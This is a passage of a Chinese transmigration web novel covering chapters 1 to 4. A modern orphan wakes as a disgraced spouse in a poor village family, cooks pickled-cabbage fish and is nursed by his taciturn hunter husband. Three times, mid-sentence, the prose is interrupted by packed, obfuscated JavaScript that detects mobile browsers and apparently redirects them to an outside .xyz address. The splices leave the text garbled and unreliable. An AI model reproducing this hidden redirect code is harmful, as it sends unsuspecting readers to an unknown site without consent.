《恶毒夫郎统领全家》 1. 第 1 章 推开身边的小孩儿,在身体腾空而起的那一刻,苗应是没有感觉到疼痛的。 他的眼前闪过的是自己这短短的一生,出生就被遗弃,在福利院长大,靠着国家的资助上到了大学,没有关系要好的朋友,没有血脉相承的亲人,毕业之后就一直在打工,靠打工养活自己,靠打工还清助学贷款,靠打工回报孤儿院。 好孤单啊,苗应想。 在身体重重落地的那一刻,疼痛席卷全身,苗应在完全失去意识之前暗暗想到,如果有来世,看在我救了个孩子的份上,请务必让我有一个热闹而温暖的家,随后苗应合上的眼睛。 他没想到自己还能醒过来,睁开眼睛之后,他发现头顶是破破烂烂的纱帐,转过头一看,窗户还破了个大洞。 一定是他醒过来的方式不对,再重新醒一遍好了。 只是重新醒过来一遍还是一样,苗应也意识到了这个严肃的问题,他似乎是穿越了。 只是跟有主角光环的穿越者不一样,别人穿越就是什么王公贵族,什么神仙君子,他一穿就是连窗户都破洞的不知名村民? 不知名村民苗应决定接受现实,慢吞吞地从床上坐了起来,整间屋子比他想象的还要破,一阵阵冷风从破了的窗里吹进来,吹得苗应打了个哆嗦。 从身上滑下去的被子隐隐地能看到里面的芯子,是黑的。 身体下面铺着的褥子,是破洞的。 床边放着的一双鞋,是能漏着脚趾的。 听见房门口的响动,苗应侧过头去看,只见一个扎着小揪的小孩儿,是光着屁股的。 苗应:…… 这也太穷了! 似乎是听见了苗应起身的动静,倒是终于有人进来了,苗应看着来人,看样子是个农妇,身上的衣裳都打着补丁,倒是洗得干净,头发上包着一块头巾,露出来的发丝已经生出了白发,她的面上是被岁月和生活侵袭的痕迹,能看得出来她很疲惫。 她看苗应的眼神并没有善意,甚至还有些嫌恶,说出来的话也是句句带着刀:“好了就起来,带着你的东西滚出去。” 苗应有些摸不着头脑:“这里不是我的家吗?” 那妇人嗤了一声:“我们家可养不起你这座大佛,赶紧给我滚起来。” 随后又有人进门来,苗应看到是个满头白发的老人家,看起来倒是生了一副慈祥的样子,只是还不等苗应朝她求助,就听见她中气十足的声音:“也不知道阿行把他救回来作甚!家里的脸都被他丢光了,还不如把他沉塘了!” 苗应被着劈头盖脸的一顿骂惊得瞪大了眼睛,他以为自己临死前的愿望终于实现了,但没想到现实如此令他心伤,就说了好人没有好报,明明自己做好事穿越了,却依旧还是落得个孤家寡人的下场。 苗应从床上爬起来,吱哇乱叫了一通,在他闭上眼睛晕过去的时候,看到了门口进来了一个十分高大的男人,还没看清他的长相苗应就晕了过去。 这一次苗应总算赶上的穿越大部队的进度,不再是两眼一抹黑连自己到哪里都不知道了。 这是一个他的世界里没有记载过的世界,原主也叫苗应,是今年年初嫁到霍家的。 霍家上有一个六十来岁的祖母,中间是霍家的爹娘霍三和李氏李红英,老两口生的大儿子叫霍行,是个猎户,生得高大威猛,但平日里总是沉默寡言,霍家还有一个小儿子,叫霍小宝,今年刚四岁。 这霍行今年已经二十,因为性格原因一直没人上门来说亲,李红英急得像是热锅上的蚂蚁,好说歹说终于请媒人聘了隔壁镇上的哥儿苗应。 本以为成亲之后的日子就能红红火火顺顺当当的,却没想到这苗应虽然生得一副好看皮囊,内里却是个一团污秽的。 原来他在自己的村里名声早就坏了,未婚哥儿跟着镇上的混混勾勾搭搭的,嫁到霍家来也不过是为着霍家给的那五两银子的彩礼钱,嫁进霍家之后更是把家里搅得天翻地覆。 先是洞房花烛夜不让霍行进屋睡觉,后来整日里游手好闲在屋里躺尸,家中的活计是一点不干,还成日里欺负他的小叔子霍小宝,甚至还抢霍小宝的鸡蛋吃,这些事情霍行看在眼里,但想着他嫁过来的时候带回来的那些粮食,也全都忍了。 日子倒也过了半年,后来这苗应的姘头,也不知道是从哪里得到了消息,要苗应同他一起私奔,苗应便偷了家里祖母的棺材本,卷走了霍行放在家里的银钱,跟着那小混混私奔去了。 只是那小混混哪里对他是真心的,那小混混本就只是馋他身子,苗应不从他,两人厮打起来,苗应哪里是个大男人的对手,动手间苗应的摔下坡,头刚好磕在一块尖锐凸起的石头上,当场气绝。 没想到他穿了过来,给身体续上一口气,更没想到霍行竟然跑这么远的山上打猎,看到他躺在地上,进气多出气少,最后还是把人带回了家。 苗应走马观花看完了他穿越的前情,内心仿佛有一万只动物呼啸而过。 什么东西?男人还可以光明正大地嫁人? 什么东西?原来最坏的人竟然是我自己? 虽然事儿不是他干的,但他占了这人的身子,这些事不是他干的也是他干的了。 愁人。 苗应缓缓地睁开了眼睛,侧过头就看见站在窗边正在补窗户的高大人影,想来这就是他的便宜老公了,要说还得是他们两个人有缘分,不然这霍行怎么能跑那么远的地方去打猎,还能把他捡回来,要不是霍行,他就算是穿越过来了,也会在山林里迷路冻死的。 他只是稍微一翻身,霍行就像是背后长了眼睛,停下手中的活看过来。 他一向不怎么爱说话,跟谁都一样,这会儿面对偷了他的钱跟别人私奔的夫郎,他的面上也是没什么表情:“和离书我已经请人写好了,明日就能去衙门盖印,之后你便自由了。” 苗应愣住,在这具身体的残存的记忆里,这是霍行说话说得最多的一次,平日里他连跟家中长辈都不怎么说话的。 “那个,我,欠你们的钱,我会还给你们的。”苗应这一辈子最不想做的事情就是欠别人的钱,所以他前世才会立誓做打工皇帝,两眼一睁就是打工。 霍行的脸上终于出现了些别的表情,似乎是不知道苗应又想做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598268|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么妖。 苗应有些尴尬地笑了笑。 霍行没再说话,补好了窗户之后就收拾东西出了房门,留苗应一个人呆坐在床上,他觉得有点饿,但又不好意思出去,饶是他脸皮比寻常人厚些,这会儿也不好意思走到霍家人面前说自己想吃东西,这样也太不要脸了,先偷了人家家里钱,别人不计前嫌救他一命,要换成他,自己的媳妇儿给自己戴了绿帽子,只怕是走在路上看到了都会见死不救的,霍行人已经很好了。 苗应在屋子里踌躇了半天,从床上下来的时候觉得自己的头有点疼,伸手抹了一下才发现自己后脑勺有个巨大的包,手指尖上还有点被药草汁子染绿的血迹。 看来这里就是原主的致命伤,原主被混混推下山磕到头摔死了,然后他穿越了过来。 等等,伤到头,那是不是可以装失忆啊?只要我不记得,那那些事就不是我干的。 本来也不是我干的,苗应心说。 只是现在装失忆也很刻意,要是第一次醒来的时候装就真是太完美了,苗应在心里希望霍家人不要那么聪明,让他能装得像一点。 有了理由,他就能堂堂正正地走出房门,就看见这个家简直破败得可以。 紧紧巴巴的三间卧房挨在一边,中间的院子也是很窄小,一间堂屋里摆着一张很小的桌子,灶房和柴房在对着卧房的另一侧。 按照苗应的现代人思想,这间屋子就四五十平的样子,要住着这一家六口。 苗应走出屋子,院子里的几双眼睛就都盯着他看,只是都是藏不住的嫌弃和厌恶。 灶房里这会儿正做着饭,家里已经很久没有吃过肉了。这会儿锅里炖着霍行打猎回来的山鸡,苗应已经闻到了鸡汤的味道,肚子又不争气地叫了起来。 在一旁的祖母听得直皱眉头,刚想说什么,就看见苗应堆了满脸的笑,仿佛在先前发疯的人不是他一般。 苗应堆着笑:“祖母!” 祖母快被他恶心到晚饭都吃不下了,她伸出手挡住快要扑到她身边来的苗应:“你又做什么妖?” 苗应一双眼睛里都是无辜,有些可怜地盯着祖母,泫然欲泣:“祖母?” 苗应本来就生得好,尤其那一双眼睛,含着点泪的时候让人觉得似乎是全世界都亏欠了他,也是因为这双眼睛,李红英才会替霍行把人聘下来。 “你到底想干什么?”祖母声音沉沉地说。 “祖母,我刚刚起来,什么都想不起来了,不知道是不是因为头上的伤。”苗应又摸了摸自己的后脑勺。 他说完之后,余光往坐在灶房门口的霍行看去,只是霍行就像是没有听见他的话一般,目光涣散着,也不知道在看哪里。 祖母狐疑地看着苗应,下午的时候苗应还在发疯,也不像是失忆了的样子,只怕又是他在耍什么花招。 想起自己那些棺材本银子,祖母就是一阵心痛,对着苗应就更不假辞色:“你别这些做派,这个家定然是容不下你了。” 这也是苗应预料之中的结果,索性他也不装了,直勾勾地盯着灶房:“那能让我吃顿饱饭再上路吗?” 2. 第 2 章 院子里的沉默被霍三进门的动作打断,他手里提着个酒壶,醉眼迷蒙看到院子里站着的苗应,手比脑子快,朝着苗应就把自己的酒壶扔过去了。 苗应脑子受伤,反应也慢,眼睁睁地看着酒壶朝他飞来,这时一个高大的人影挡在他的面前,伸手接住了霍三扔来的酒壶。 霍三有些怵他,醉意上头脚下一软,跌坐在地上。 而苗应,不争气地又晕了过去。 这一次他醒过来的时候,屋子里已经一片漆黑,伸手不见五指,他撑着身体坐起来,脑子里想着的是那锅鸡汤,他是一口也没喝着啊。 肚子这会儿也叫着,苗应在黑暗中叹了口气,以后可怎么办才好? 屋里却亮起了一丝光线,是霍行身上的火折子点燃了油灯,苗应才发现原来霍行在屋子里打了地铺。 黑暗被灯光驱散,苗应呆坐在床上,他的头还是隐隐作痛,伸手去摸,发觉头上的药似乎是新敷上的。 这霍行真是个好人啊,也不知道原主是不是眼睛瞎了,竟然宁愿跟着混混也不和霍行好好过日子。 在苗应胡思乱想的时候,霍行已经出了房门,回来的时候手上端了两个碗,一个碗里是一碗鸡汤,鸡汤里肯定是没有鸡腿的,但好在还有一截鸡脖子,另一个碗里是一个杂面窝头。 房间太小没有桌子,霍行把两个碗放在床头的箱子上,示意苗应可以吃。 苗应顾不得什么,端起鸡汤就几口下肚,有开始啃杂粮窝头,窝头不是精粮做的,囫囵吞的时候还觉得有些剌嗓子,但苗应饿极了,也顾不得许多,甚至还在这窝头里尝到了很香的粮食的香气,没一会儿两个碗就都空了。 “明天去衙门盖印,然后你就走吧。”霍行开口说。 苗应只觉得刚刚吃下去的窝头这会儿哽在他的喉间,那些粗糙的颗粒似乎都划伤了他的喉咙,他其实也不是非要待在霍家,主要是,从霍家离开了他也不知道该去哪,即使有一点原主的记忆,他也还是对这个世界一无所知。 他看着霍行,艰难开口:“我不是你的那个,那个苗应。” 霍行转过头看了他一眼。 “你找到我的时候,我是不是已经断气了?”苗应继续说,“就是,他已经死了,然后我来了。” 苗应去看他,却没在他的脸上看到什么表情,好像苗应说的不是借尸还魂而是今晚的饭好吃。 “你是不是根本不信啊?”苗应有些泄气,“但我说的是真的。” “你想做什么?”霍行问。 “我能不能留在这里,他不是偷了你家的钱吗?我能帮你赚回来。”苗应虽然还不太了解这个世界,但他作为穿越者打工皇帝,赚钱对他来说就是手拿把掐的事情。 霍行没说话,只是抬手熄了灯:“明日再说吧。” “等一下。”苗应赶紧爬起来,自己往床里面挪了些,“天气太冷了,你上床来睡吧?” 苗应还没太能接受哥儿这个身份,他觉得自己还是个男的,跟霍行挤一挤也不是什么大问题,马上就要到冬天了,着凉就不好了。 再者说,这家是霍行的,房间也是,是他鸠占鹊巢。 霍行却并没有动,还是安静地躺在地上。 苗应叹了口气,又重新躺下,反正一时间要扭转他们对他的看法也是很难,他的当务之急还是好好养一养自己头上的伤,这可是在古代,稍不注意就得去见阎王,他刚刚才死一次,短时间里他不想再死第二次了。 只是头上的致命伤还是太严重,夜里苗应就开始烧了起来,他烧得满脸通红,迷糊间有一张冰凉的帕子搭在他的额头上,没过一会儿嘴里就是草药的味道,苗应喝出了柴胡,半夏和生姜的味道。 一夜过去,苗应身上出了一身的汗,不算很好的衣料在汗湿又干了之后硬挺挺地贴在身上,他睁开眼睛,就看到放在他被子上的一套里衣。 他赶紧钻进被子里把里衣换了,这会儿窗外已经是艳阳高照,苗应穿好衣裳之后走出房间,小院子里只有一个霍小宝,光着屁股在墙角捉虫子。 霍小宝看到苗应,怯生生地往墙角缩,苗应凑过去,问他:“家里人呢?” “大哥上山了,娘出去干活了,祖母去英祖母家了。” 苗应伸手摸了摸他的头:“会说这么多话,真厉害。” 霍小宝睁大眼睛:“我已经四岁了!” 苗应笑了笑,转头看到堂屋的饭桌上还留了一碗水和半个窝头,他赶紧走过去吃了起来。 霍小宝似乎又对他很是好奇,蹲在一边看他。 苗应以为他是饿了,又把那一半的窝头掰了一半给他,霍小宝呆愣地接了过来,一大一小面对面吃了起来。 吃完窝头,苗应又重新看了看这个家,心里叹了一句,还是穷啊,光靠霍行一个人打猎,能赚到什么钱? 现在已经是秋末了,想来已经过了粮食收成的季节了,据他了解,古代的粮食税都很重,他们一大家子人估计地不多,但人头税收得多,新粮还没捂热乎呢就得上交公家,光从这窝头就能看出来,这已经是很多年的旧粮了。 也不知道祖母和霍行攒了多久才攒到那么些钱,还让原主全都给霍霍了。 苗应撸起袖子,发誓一定要给霍家人多赚些钱,一是为了还债,二也是为了报答霍行,昨晚还给他熬药呢。 为了更了解家里一点,苗应去柴房和灶房里都转了转,柴房里堆着些柴火,有枯枝树叶,也有成块的柴火码得整整齐齐,应该是霍行上山打猎的时候顺手带回来的。 另外一边放着两个一大一小两个缸子,大的是面缸,里面的杂面已经只剩一个底,小的是咸菜缸,揭开盖子是浓重的酸味,苗应眼睛一亮,是泡菜。 泡菜好啊,泡菜能做好多好吃的,去腥增香,很多味道大的食材在加了泡菜之后,就会非常美味了。 苗应的脑袋已经开始计划起了赚钱大计了,只是从零开始到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598269|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底还是太困难了,还得好好计划一下才行。 他从柴房出来的时候,院门也打开了,进来的是李红英,她肩上还扛着个锄头,也许是因为早起的时候霍行对她说了什么,虽然她对着苗应翻了个白眼,但好在没骂他,只是说:“脑子坏了就回去躺着。” 苗应朝她笑了笑,随后回房间躺着去了,他现在的当务之急还是要先把身体养好,身体才是赚钱的本钱。 养病的这几天,霍行会每天给他带回些草药回来碾碎了给他敷伤处,也会找些寻常的草药煎了给他喝,苗应也不知道喝下去的药有没有用,但也从没说过让霍行给他找大夫的事,他也知道这个年代,大夫也不是谁家都看得起的。 好在在每天的敷药之下,苗应后脑勺上的伤口已经开始结痂,也不再又眩晕想吐的感觉了,这条命也总算是保住了。 只是命保住了,肚子里的馋虫要闹翻了天了,这些天吃的要不是窝头配酸菜汤,要不就是酸菜杂面疙瘩,连个鸡蛋都没能吃得上,他每天看着霍小宝碗里的蒸蛋,馋得都快流口水了。 吃饭的时候霍行看了他一眼,最后没有说话。 天黑之后,祖母哄着霍小宝睡了,霍行端着油灯回到房间,看见苗应盘腿坐在床上。 这些日子他们之间的交流还是很少,但霍行已经搬回了床上睡,苗应看他进屋,往床里挪了挪,给他腾出了位置。 跟霍行睡在一起,苗应丝毫没有心理压力,毕竟大学他们出去玩,几个男生都是睡大通铺的,跟霍行睡一起在他看来就是跟同学睡觉是一样的。 “我明天能跟你上山去吗?”苗应靠在床头,问他。 “很远,山上没什么猎物了,天冷了。”霍行脱掉上衣,“我之后都不上山了。” 苗应叹了口气,现在已经很冷了,动物肯定都冬眠了,上山也打不到猎了,最近霍行上山都没带回来猎物,带回来的都是过冬要用的柴火。 霍行上床躺下,苗应还坐着,两个人中间的空隙还漏风,苗应的大腿一片凉。 随后他哆哆嗦嗦地躺下,不想压着伤口,于是选择了侧睡,面向着霍行:“我想吃肉了。” 霍行沉默了一会儿:“河里有鱼,但是鱼肉不好吃。” 苗应立刻坐起来:“我能做得很好吃!你明天带我去捉鱼吧?” 霍行又不说话了,苗应的脑子里倒是想起了先前原主的记忆,这边是没什么人吃鱼的,野生的鱼刺多又带着泥腥味,要不是穷得揭不开锅了,是不会有人去捞鱼吃的。 苗应怀着自己明天就能吃到酸菜鱼的憧憬,慢慢地睡着了。 在他睡着之后,霍行才光明正大地看他,原本一张漂亮的脸因为受伤和吃得不好,下巴已经瘦出了一个尖儿,跟刚来家里的时候很不一样了。 他其实并不相信他说的什么借尸还魂的说法,世上没有这么悬的事情,眼看着他的伤也好了,明天去给他捉一条鱼,等他吃饱了,就让他离开吧。 3. 第 3 章 第二天难得苗应起床的时候霍行还在家里,他先是喝了一碗药,随后吃了一个窝头,霍行早已经等在门口,看他吃完之后,两个人走出了门。 已经是初冬了,寒风让苗应打了个哆嗦,他无比怀念现代的羽绒服,轻便还保暖,哪像现在身上的衣裳,臃肿累赘不说,还一点也不暖和,等他条件宽裕了,他一定要做一件羽绒服来穿。 这身子还是没好利索,没走几步呢就开始喘,走了好一会儿,苗应的喘息声越来越大,霍行这才停下脚步,站在原地等了等他。 已经是出村好大一段路程了,苗应终于看到了一条大河,只是现在已经是枯水期了,水流并不湍急,苗应找了个地方坐下,看着霍行脱了鞋袜下水捉鱼。 有风带着凉意吹过来,苗应闻到了空气里的一点水腥气,随后就是青草混着泥土的味道,他在城市里生活得够久了,钢铁森林里闻不到这些味道。 不用打工的日子让苗应整个人变得很是松弛,但松弛得太久又让他有焦虑的感觉,赚钱的事情还是得提上日程才行。 他只是想事情这一会儿,霍行就已经捉上了一条大鱼,可能是因为天气冷了,鱼也变得不灵光,所以才会这么容易被抓住吧。 苗应凑过去看,是一条草鱼,个头不算小。 这一凑过去,他又对自己的长相有些好奇,于是在波光粼粼的水面上,看到了这具身体的长相。 苗应觉得这张脸长得跟他前世还是很像的,只是因为受伤,他能看到水里的倒影面色苍白,一双眼睛很大,在水中看是水汪汪的,下巴有些太尖了,活像是书里吸人精气的狐狸精,还是受伤了必须吸人精气的那种。 欣赏完自己的长相之后,苗应走到了霍行的身边,霍行在一边穿鞋袜了,他的面上还是没什么表情,好像下水受冻的不是他一样。 穿好鞋袜之后霍行搓了草绳提着鱼往前走,苗应慢吞吞地跟在他的身后,只是他这副身体实在是不争气,走了没一会儿就抱着棵树喘气:“你先回去吧,我,我歇会儿。” 霍行看了他一会儿,随后走到他的面前蹲了下来,苗应很是会顺杆子爬,于是很自觉地趴在了他的背上。 霍行的身量很高,背也宽厚,说来有些惭愧,苗应还从来没有被人背过呢,他想如果他有爸爸,可能也会是像霍行这样的吧。 从河边回家会经过一段山路,刚才苗应没细看,这会儿他趴在霍行的背上,才有余裕去看路边的植物,在一棵木姜子树边,苗应用手圈住霍行的脖子:“等一下,我要摘点这个回去。” 霍行也依他,站在原地不动,让苗应自己去摘木姜子。 摘完之后苗应才说:“这是木姜子,可以做调料用的,鱼肉不是腥嘛,这个能去腥。” 霍行只是安静地听他说完,随后又背着他回了家。 家里祖母跟李红英在做针线活,冬天快来了,得给霍小宝把裤子接一截了,他长得快,去年的冬裤已经穿不了了,只能用布料在裤脚上加上一块。 苗应朝他们打了个招呼,但两人都不理他,只有霍小宝跑过来,看了一眼他们手上的鱼。 霍行把苗应放下来,苗应摸了摸霍小宝的头发,随后就进灶房去了。 他在大润发杀过鱼,自然对杀鱼的步骤了然于心,但无奈他现在这身子太弱,只能求助霍行。 听见苗应招呼霍行往灶房里走,李红英赶紧过来,叉着腰看着苗应:“阿行是个男子汉,怎么能做灶房里的事!” 苗应皱眉,让霍行杀一下鱼怎么了?他一个男人,在大润发杀了十年的鱼呢! 霍行倒是无所谓,他拍了拍李红英的肩膀,随后就去给苗应帮忙了,他去鳞的手法也是干净利落,很快就把这条鱼的鳞去完,还帮他把鱼的内脏也都处理完了。 剩下的活苗应就自己干了,先把鱼对半破开,然后剔骨留下鱼肉,随后反刀鱼肉切成薄片,放在一边,鱼骨和鱼肉片分别放在两个碗里,用姜片和木姜子腌制一下。 只是头上的伤实在是太重,他切完鱼片之后就已经感觉到晕眩,撑着灶台缓了一会儿才缓过来,霍行沉默地坐在灶前,看了苗应一眼。 “你生火吧。”苗青按了一下额头,又深吸了一口气。 灶房里很空,没什么粮食,灶边搁着一个碗,里面装着一碗鸡油,是前几天那只鸡剩下的,这会儿猪油太贵,霍家这一大家子人,也只能逢年过节才吃得上猪油了。 苗应还是征求了一下霍行的意见,霍行面无表情,他就把鸡油下锅了。 火烧得很旺,鸡油一经煸炒,就发出了厚重的香味,霍小宝也闻见了味道,跑进灶屋里来,往霍行的怀里倚着,鼻子一抽一抽地嗅,苗应见状笑了笑,随后把切好的泡菜和葱姜都扔进锅里。 翻炒之后加了水进锅里,和着剃好的鱼骨一起下锅煮,没一会儿锅里就沸腾了起来,汤色也变得雪白,苗应把腌制好的鱼片也下了锅,只需要汆烫几秒,鱼片就熟了,只可惜现在没有菜籽油,要是能再浇一次油,激发一些葱姜蒜的香味,那简直就无敌了。 苗应把鱼盛起来,身子似乎也撑到极限,撑着灶台就晕了过去,一边的霍行眼疾手快,在他头快磕到橱柜的时候扶住了他。 霍行叹了口气,把人打横抱起来。 李红英早闻见了屋里的香味,进了灶房就看见霍行抱着苗应,一边的霍小宝早就流起了口水,她看了一眼苗应:“怎么又晕了?” “伤还没好。”霍行说,说完又看了一眼苗应的伤口,好几天了,几乎是一点都没好转,外敷好像还是没什么用,还是得去开点药吃才行。 他抱着苗应回房间,给他盖好被子之后回到灶房,李红英他们已经要开始准备吃饭了,他看了一会儿,从灶房里拿出一个大碗,拨了一半出来给苗应留着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598270|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李红英倒是没说什么,又给他递了两个糙面窝头:“等他醒了吃吧。你爹又跑出去了,你拿你们屋里去,免得他一会儿回来给人吃了。” 霍行点了点头,端着碗回到房间,房间里苗应还睡着,胸膛起伏的弧度几乎都快要看不见了,霍行看了一会儿,转身离开了。 他们挤在堂屋里的小桌子上吃饭,霍小宝吃得唏哩呼噜的,祖母和李红英也都埋头吃着,觉得难以下咽的糙面疙瘩就着酸菜汤也好吃了很多。 “平日里咱们也做酸菜汤,怎么就没这么好吃呢?”李红英给霍行夹了一筷子鱼,“还有这鱼,怎么做都是土腥味,今天吃这可是一点腥味都没有。” 李红英也习惯了霍行的沉默寡言,也不指望他能回答什么。 “娘,我想卖几个鸡蛋。”一贯不开口的霍行放下筷子,看着李红英。 祖母愣住:“要鸡蛋干什么?” “卖几个鸡蛋,给他拿一副药,再不吃药的话,会死的。” 李红英的嘴角垮了下来:“你都已经救了他一命了,以后养不养的熟还两说呢。” 霍行只是看着她,目光幽幽。 李红英叹气:“行,卖几个就卖几个吧,但只这一次。要是他不偷祖母的钱,这会儿几副药都能买了。” 说起这个,几个人的面上都不好看了,祖母抬起袖子咳嗽了一声:“躲过了你爹,没躲过他。” 霍行的爹霍老三是个混不吝的,成日里就拎着个酒壶,不是出去喝酒就是去赌,原先家里还有点家底,如今全被他败光了。 霍行说:“放心吧,会有钱的。” 一顿饭吃完有些沉重,霍小宝不懂大人的无奈,只是看着娘亲和哥哥,问以后还能不能吃这个。 苗应醒来的时候天又黑了,他两眼发黑地坐起来,才想起自己晕倒前发生的事情,他做的酸菜鱼,自己一口没吃到! 只是他现在太难受,下床的力气都没有,一时间有些气馁,抬手摸了摸自己的后脑勺,想着只敷药还是好得慢,还得去买点喝的药才行。 门被缓缓推开,霍行手上端着一碗鱼汤走到床边:“吃吧。” 苗应只觉得这个时候的霍行比任何时候都要帅气,他赶紧说了声谢谢,端着碗就开始大口吃。 因为已经是第二顿的菜了,鱼片已经没了一开始的爽滑弹嫩,但他已经很久没吃过好东西了,这会儿也吃得很香,他把糙面窝头整个泡进碗里,用汤就着窝头囫囵地吃了一碗,还有些意犹未尽。 最后那个碗都快被他吃得锃亮了,霍行还是不言语,只是接过他手里的碗筷。 霍行回到灶房,下午李红英还是给了他一筐鸡蛋,他卖给了村里一个刚生完孩子的妇人家里,得了五十文钱,他掂了掂自己的荷包,还是打算明天带苗应去一趟镇上,找个大夫开个方子,能找到的草药他上山去找,找不到的再买吧。 4. 第 4 章 苗应吃了鱼又觉得困倦,即使下午昏迷了很久,还是又睡了过去,到了夜里又迷迷糊糊地烧了起来,霍行夜里警醒,睁开眼只见屋里黑沉沉一片,黑夜很安静,只能听见苗应急促的呼吸声。 他抬手摸了摸苗应的额头,很烫,他叹了口气,出门去找帕子去了。 后半夜他的烧退了下去,霍行也没再睡觉,睁着眼睛守到了天明。 苗应醒来的时候,霍行靠坐在床头,发现他的动静之后立刻侧过头看他。 “早上好。”苗应扯了扯嘴角,“今天还能去抓鱼吗?想喝鱼汤。” 霍行没说话,只是起身穿衣服,又把苗应的衣裳放在他床头:“穿衣服,去镇上。” 苗应慢吞吞地穿上衣裳,穿鞋下地,在站起来的一瞬间又晕了晕,霍行即时扶住他,他抓住霍行的胳膊才将将站稳:“去镇上干什么?” 霍行却不说话了,只拉着他往屋外走。 祖母坐在屋檐下做针线,李红英从灶房里出来,看到苗应先是移开了眼睛,而后又叹了口气,进灶房拿出一个鸡蛋交到苗应手上:“赶紧走。” 苗应皱起眉头,本以为昨天他们吃了自己做的菜好歹能对他改观一点,没想到还是要赶他走,还只给个鸡蛋打发他? “我……”他一句还还没说完,手上的鸡蛋就被霍行拿了过去,在脑门儿上嗑了一下之后很快剥了壳,又整个塞进他嘴里。 “娘,祖母,我们走了。” 苗应咬着个鸡蛋,被霍行连拉带抱地弄出了门。 他好不容易咽下嘴里的鸡蛋,又看向霍行:“不是说好不赶我走的?” 霍行说:“没有。” 不是赶你走,也没有跟你说好。 苗应还是走两步就开始喘,霍行只能在他前面蹲下来,苗应也不矫情,直接爬上他的背:“我们到底去哪?” “去镇上,看伤。”说完之后就再不开口了。 苗应趴在他的背上,很舒服,也生出了点闲心来看看整个村子。 现在是冬天,地里却是绿油油的,菜地里也有绿色,看来是冻人不冻地,倒是跟他从前的老家气候很像,他也是离开农村很久了,不过印象最深的就是过完年之后整片田野的油菜花。 按理说,这会儿应该是油菜籽茁壮成长的时候,这里没有油菜籽吗? 没有油菜籽的话,岂不是只能吃动物油? 猪肉那么贵,寻常人家也不怎么吃得上猪油吧?还是有别的油可以代替呢? “霍行,时下每家人都吃什么油啊?” 霍行顿了顿:“猪油。” 苗应心说果然是这样。 霍行的腿长,步子迈得也很大,他们今天走的是跟昨天一样的路,但昨天没怎么遇到村里的人,今天像是时间很早,很多村里的人都端着饭碗在自家院子里吃饭。 看见经过自家门口的霍行和苗应的时候,都停下了吃饭的动作,不算小声地小声说闲话。 “哎哟,这霍行也是,破鞋也捡啊?”一个夫郎端着碗,朝自家汉子努努嘴,言语中都是不屑。 也是新奇,在苗应这二十年的直男生涯中,还第一回有人说他破鞋呢。 他伸长了脖子,朝他喊话:“你还挺知道捡破鞋的,你家的没少捡啊,这么熟练。” 那汉子的面上顿时浮现出心虚,他那夫郎一见他的样子,碗也摔了,两个人开始打起来,苗应大笑一声,拍着霍行的肩膀让他走快些。 他们村叫南口坝村,村子是建在被大河冲刷出来的河坝上的,整个村子一片平坦,每一家的房子都像是陈列在棋盘上的颗颗分明的棋子。 苗应趴在霍行的背上,看着这一马平川的平原,轻声问:“这附近都没什么山,你去哪里打猎?” “临镇。” 苗应哦了一声,根本不知道临镇是什么地方,又问到镇上还有多久。 霍行没说话,只是步子更快了一些,他的步子大了,苗应就更晕了一些,他把脸贴在霍行的脖颈边睡着了,温热的呼吸落在霍行的脖颈边上。 从南口坝到镇上,霍行背着他走了快一个时辰,到镇上的时候,苗应醒了过来,想着霍行可能也累了,于是要求自己走。 霍行沉默一瞬,还是如了他的愿,把他放下,只是在他脚刚刚沾地的时候,双腿就不可控制地一软,霍行又扶住他。 苗应有些尴尬地笑了笑,之后也不嘴硬,任由霍行扶住他。 镇子不大,比起镇上,他们村里的人更喜欢去县城里买东西,因为到镇上跟到县城的距离也差不了多少。 镇上有一家医馆,这会儿人不太多,霍行带着他走了进去,医馆里只有一个上了年纪的老大夫,这会儿正在给一个夫郎看病。 霍行让他坐在一边的凳子上等着,苗应支起耳朵,听着老大夫的话:“已经有孕三月有余,只是胎像不稳,还需再卧床一段时间。” 苗应睁大了眼睛,有些不可置信地看着那个夫郎的肚子,悄悄对霍行说:“真能怀孕啊?” 明明就只是身材中等偏秀气了一点,但怎么看都是男的啊,怎么就能生孩子呢? 他的目光炯炯的,看得人家那夫郎不好意思了,羞得直往他相公旁边躲,霍行见状,站到了苗应的身前,挡住了他的视线。 随后轮到他们看病,霍行把他扶起来,让老大夫看着他的伤口。 老大夫捋了捋胡子:“这么重的伤!就只是敷了点外伤药?发热的时候怎么做的?” 苗应看向霍行,他发热的时候自己都没有意识,只能求助霍行,霍行虽然话不多但还是很仔细地说了一系列的处理方法。 老大夫啧了一声,直说苗应真是福大命大,伤成这样竟然还能活,又拿起笔开始写方子,又叮嘱霍行外敷的要还是要继续用。 苗应有些担心,他不知道看一次病要多少钱,但也知道他们家的情况,生怕他们给不起诊费。 